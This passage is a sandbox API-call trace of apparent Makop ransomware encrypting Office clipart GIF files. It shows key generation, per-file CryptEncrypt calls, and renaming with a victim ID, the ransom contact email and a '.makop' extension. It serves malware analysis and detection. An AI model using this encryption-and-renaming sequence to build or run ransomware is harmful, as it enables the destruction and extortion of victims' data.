pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.222] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.223] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0155.227] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.227] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.227] GetProcessHeap () returned 0x48a0000 [0155.227] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.227] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.227] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.227] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.228] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.228] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.228] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.228] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.228] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.228] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.229] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.229] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.229] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4d5, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4d5, lpOverlapped=0x0) returned 1 [0155.229] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4e0, dwBufLen=0x4e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4e0) returned 1 [0155.229] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.229] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4e0, lpOverlapped=0x0) returned 1 [0155.229] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.229] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.229] SetEndOfFile (hFile=0xf0) returned 1 [0155.237] GetProcessHeap () returned 0x48a0000 [0155.237] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.237] GetProcessHeap () returned 0x48a0000 [0155.237] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.237] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.237] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.239] CloseHandle (hObject=0xf0) returned 1 [0155.239] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9359300, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9359300, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x31f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01744_.GIF", cAlternateFileName="")) returned 1 [0155.240] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF") returned 63 [0155.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.241] GetProcessHeap () returned 0x48a0000 [0155.241] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.241] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.241] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.241] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0155.245] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.246] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.246] GetProcessHeap () returned 0x48a0000 [0155.246] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.246] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.246] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.246] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.246] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.246] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.247] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.247] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.247] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.247] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.247] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.247] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.247] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x31f, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x31f, lpOverlapped=0x0) returned 1 [0155.247] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x320, dwBufLen=0x320 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x320) returned 1 [0155.247] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.248] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x320, lpOverlapped=0x0) returned 1 [0155.248] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.249] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.249] SetEndOfFile (hFile=0xf0) returned 1 [0155.255] GetProcessHeap () returned 0x48a0000 [0155.255] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.255] GetProcessHeap () returned 0x48a0000 [0155.255] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.255] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.256] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.257] CloseHandle (hObject=0xf0) returned 1 [0155.257] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43119400, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43119400, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01745_.GIF", cAlternateFileName="")) returned 1 [0155.257] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF") returned 63 [0155.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.259] GetProcessHeap () returned 0x48a0000 [0155.259] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.259] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.259] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.259] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.276] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.276] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.276] GetProcessHeap () returned 0x48a0000 [0155.276] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.276] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.276] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.276] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.276] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.276] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.277] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.277] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.277] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.277] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.277] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.278] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.278] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5ac, lpOverlapped=0x0) returned 1 [0155.278] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5b0) returned 1 [0155.278] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.278] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5b0, lpOverlapped=0x0) returned 1 [0155.278] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.278] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.279] SetEndOfFile (hFile=0xf0) returned 1 [0155.285] GetProcessHeap () returned 0x48a0000 [0155.285] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.285] GetProcessHeap () returned 0x48a0000 [0155.285] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.286] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.286] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.288] CloseHandle (hObject=0xf0) returned 1 [0155.288] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab95900, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ab95900, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01746_.GIF", cAlternateFileName="")) returned 1 [0155.288] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF") returned 63 [0155.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.290] GetProcessHeap () returned 0x48a0000 [0155.290] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.290] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.290] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.291] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0155.295] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.295] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.295] GetProcessHeap () returned 0x48a0000 [0155.295] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.295] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.296] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.296] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.296] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.296] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.296] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.296] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.296] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.297] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.297] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.297] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.297] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2e2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2e2, lpOverlapped=0x0) returned 1 [0155.297] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2f0) returned 1 [0155.297] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.297] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2f0, lpOverlapped=0x0) returned 1 [0155.298] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.298] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.298] SetEndOfFile (hFile=0xf0) returned 1 [0155.304] GetProcessHeap () returned 0x48a0000 [0155.304] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.304] GetProcessHeap () returned 0x48a0000 [0155.304] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.304] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.305] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.306] CloseHandle (hObject=0xf0) returned 1 [0155.306] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34c37800, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34c37800, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01747_.GIF", cAlternateFileName="")) returned 1 [0155.306] 